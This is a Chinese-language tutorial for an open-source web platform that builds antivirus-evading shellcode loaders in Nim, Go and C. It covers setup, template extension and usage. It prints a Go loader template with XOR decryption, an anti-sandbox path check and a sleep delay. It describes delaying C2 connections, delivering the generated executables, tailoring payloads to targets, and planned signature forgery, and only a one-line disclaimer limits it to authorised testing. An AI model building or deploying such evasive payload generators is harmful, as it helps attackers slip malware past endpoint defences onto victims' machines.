AVEvasionCraftOnline 一个基于 Spring boot 的在线免杀生成平台 开源
字数 1696 2025-08-22 12:22:15
AVEvasionCraftOnline 在线免杀生成平台教学文档
一、项目概述
AVEvasionCraftOnline 是一个基于 Spring Boot 的在线免杀生成平台,支持 Nim、Go 和 C 三种语言的免杀代码生成。项目完全开源,主要解决传统免杀工具需要手动复制 shellcode、搭建编译环境等问题。
二、核心特点
- 易用性:通过简单的上传操作即可生成免杀 Payload
- 效率提升:自动化处理 shellcode 的替换、编码和加密过程
- 模板化设计:支持快速扩展新的载入方式和免杀技术
- 多语言支持:内置 Nim、Go 和 C 语言的免杀模板
- 多种 shellcode 存储方式:支持内嵌、本地和远程三种存储方式
三、系统架构与处理流程
1. 输入参数
- 上传的二进制文件(bin)
- 模板名称
- 转换方法(加密/编码方式)
- Shellcode存储位置(EMBEDDED/LOCAL/REMOTE)
2. 处理流程
- 对传入的 bin 文件进行转换(加密、编码等操作)
- 模板预处理:随机化函数名称、填充转换后的 Shellcode
- 根据模板语言类型编译预处理后的模板
- 打包转换后的 Shellcode 和编译完成的 exe
- 返回下载链接
四、环境搭建指南
1. 系统要求
- 基于 Kali Linux 2023.4 测试
- 需要 Java 运行环境
2. 依赖安装
Nim & C 依赖
sudo apt update
sudo apt install mingw-w64
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
# 输入 y
echo "export PATH=$PATH:/home/kali/.nimble/bin" >> ~/.zshrc
source ~/.zshrc
nimble install winim
# 输入 y
Go 依赖
wget https://go.dev/dl/go1.21.6.linux-amd64.tar.gz
sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.21.6.linux-amd64.tar.gz
echo "export CGO_ENABLED=0" >> ~/.zshrc
echo "export GOOS=windows" >> ~/.zshrc
echo "export GOARCH=amd64" >> ~/.zshrc
echo "export PATH=$PATH:/usr/local/go/bin" >> ~/.zshrc
source ~/.zshrc
3. 前后端配置
- 解压项目文件:
cd /home/kali
unzip AVEvasionCraftOnline.zip
cd AVEvasionCraftOnline
sudo cp -r dist/* /var/www/html && sudo chown -R www-data:www-data /var/www/html
- 开启 Apache 模块:
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod rewrite
- 编辑
/etc/apache2/sites-available/000-default.conf,增加以下配置:
ProxyPass /api http://localhost:8080
ProxyPassReverse /api http://localhost:8080
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
- 重启 Apache:
sudo systemctl restart apache2
- 修改配置文件:
bypassav:
templates-directory: /home/kali/AVEvasionCraftOnline/template
storage-directory: /home/kali/AVEvasionCraftOnline/download
compilerwork-directory: /home/kali/AVEvasionCraftOnline/compiler
- 启动后端:
java -jar AVEvasionCraftOnline-0.0.1-SNAPSHOT.jar
五、模板维护与扩展
1. 模板目录结构
template/
c/
c_CreateThread/
xor/
LOCAL/
c_CreateThread.c
2. 添加新模板示例(以 C 语言为例)
- 修改 yaml 配置:
c_CreateThread:
loadMethod:
- LOCAL
transformation:
- xor
-
创建对应的目录结构,将模板文件放入正确位置
-
模板文件要求:
- 文件名必须与模板名称相同
- 对于 C 语言,注意头文件大小写(如
<windows.h>而非<Windows.h>)
3. 免杀技术实现原理
基础免杀技术
- Shellcode 加密:使用多字节 XOR 加密改变 shellcode 特征
- 延迟触发:增加随机延迟后再连接 C2 服务器
- 反沙箱检测:检查运行环境特征(如检查文件路径)
Go 语言免杀示例代码
func XorDecrypt(plaintext []byte, key []byte) []byte {
ciphertext := make([]byte, len(plaintext))
keyLength := len(key)
for i, byte := range plaintext {
keyByte := key[i%keyLength]
encryptedByte := byte ^ keyByte
ciphertext[i] = encryptedByte
}
return ciphertext
}
func DecryptData(v2 []byte) []byte {
key := []byte{{{ Key }}}
v222 := XorDecrypt(v2, key)
return v222
}
func Sleeeep() {
res := 1
for i := 0; i < 5; i++ {
number := rand.Intn(900) + 100
res *= number
}
time.Sleep(10 * time.Second)
}
func main() {
args := os.Args[0]
if (args[10] == 92 && (args[0] == 99 || args[0] == 67)) {
os.Exit(0)
}
Sleeeep()
ciphertext := []byte{{{ Shellcode }}}
byteData := DecryptData(ciphertext)
Ldr1(byteData)
}
六、使用指南
- 访问前端页面
- 上传 shellcode 二进制文件
- 选择:
- 编程语言(Nim/Go/C)
- 模板名称
- 转换方法
- Shellcode 存储方式
- 生成并下载 Payload
不同存储方式的注意事项:
- EMBEDDED/REMOTE:可单独投递 exe 文件
- LOCAL:需要将资源文件与 exe 一起投递,且资源文件名需与生成时指定的名称一致
七、技术实现细节
1. 后端核心组件
- CompilerController:处理两个主要 API
compiler:接收输入参数download:提供结果下载
- shellcodeUpload 方法:根据编程语言类型决定后续处理流程
2. 处理步骤详解
- 初始化编译工作目录
- 转换 shellcode(编码、加密等操作)
- 复制模板到工作目录
- 填充模板:
- 转换后的 Shellcode
- 解密 Key
- 其他必要参数
- 编译程序并打包
- 返回下载链接
八、扩展开发指南
-
增加新语言支持:
- 添加对应的编译环境
- 创建语言特定目录结构
- 更新配置文件
-
增加新免杀技术:
- 在 transformation 部分添加新的转换方法
- 实现对应的预处理逻辑
-
模板开发建议:
- 保持模板文件与目录结构一致
- 使用 {{{ }}} 作为占位符标记
- 确保模板文件可编译通过
九、安全注意事项
- 本项目仅供合法安全研究和授权渗透测试使用
- 实际使用时建议:
- 定期更新免杀技术
- 结合多种对抗技术
- 根据目标环境定制 Payload
十、未来发展方向
- 增加更多编程语言支持
- 集成更多免杀技术:
- API 混淆
- 进程注入变种
- 更多加密算法
- 增强对抗沙箱能力
- 增加 Payload 签名伪造功能